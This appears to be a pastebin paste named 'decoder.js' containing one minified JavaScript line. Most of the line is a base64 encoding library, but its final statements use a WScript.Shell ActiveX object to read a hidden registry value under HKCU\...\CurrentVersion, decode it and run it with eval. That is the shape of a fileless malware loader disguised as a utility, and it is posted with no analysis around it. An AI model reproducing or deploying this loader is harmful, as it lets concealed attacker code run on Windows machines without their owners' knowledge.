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decoder.js

Sep 23rd, 2023
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JavaScript 2.22 KB | Cybersecurity | 0 0
  1. var base64={};base64.PADCHAR='=';base64.ALPHA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';base64.makeDOMException=function(){var e,tmp;try{return new DOMException(DOMException.INVALID_CHARACTER_ERR)}catch(tmp){var ex=new Error('DOM Exception 5');ex.code=ex.number=5;ex.name=ex.description='INVALID_CHARACTER_ERR';ex.toString=function(){return'Error: '+ex.name+': '+ex.message};return ex}};base64.getbyte64=function(s,i){var idx=base64.ALPHA.indexOf(s.charAt(i));if(idx===-1){throw base64.makeDOMException();}return idx};base64.decode=function(s){s=''+s;var getbyte64=base64.getbyte64;var pads,i,b10;var imax=s.length;if(imax===0){return s}if(imax%4!==0){throw base64.makeDOMException();}pads=0;if(s.charAt(imax-1)===base64.PADCHAR){pads=1;if(s.charAt(imax-2)===base64.PADCHAR){pads=2}imax-=4}var x=[];for(i=0;i<imax;i+=4){b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6)|getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff,b10&0xff))}switch(pads){case 1:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff));break;case 2:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join('')};base64.getbyte=function(s,i){var x=s.charCodeAt(i);if(x>255){throw base64.makeDOMException();}return x};base64.encode=function(s){if(arguments.length!==1){throw new SyntaxError('Not enough arguments');}var padchar=base64.PADCHAR;var alpha=base64.ALPHA;var getbyte=base64.getbyte;var i,b10;var x=[];s=''+s;var imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8)|getbyte(s,i+2);x.push(alpha.charAt(b10>>18));x.push(alpha.charAt((b10>>12)&0x3F));x.push(alpha.charAt((b10>>6)&0x3f));x.push(alpha.charAt(b10&0x3f))}switch(s.length-imax){case 1:b10=getbyte(s,i)<<16;x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+padchar+padchar);break;case 2:b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8);x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+alpha.charAt((b10>>6)&0x3f)+padchar);break}return x.join('')};var wsh = new ActiveXObject('WScript.Shell');eval(base64.decode(wsh.RegRead('HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\f')));
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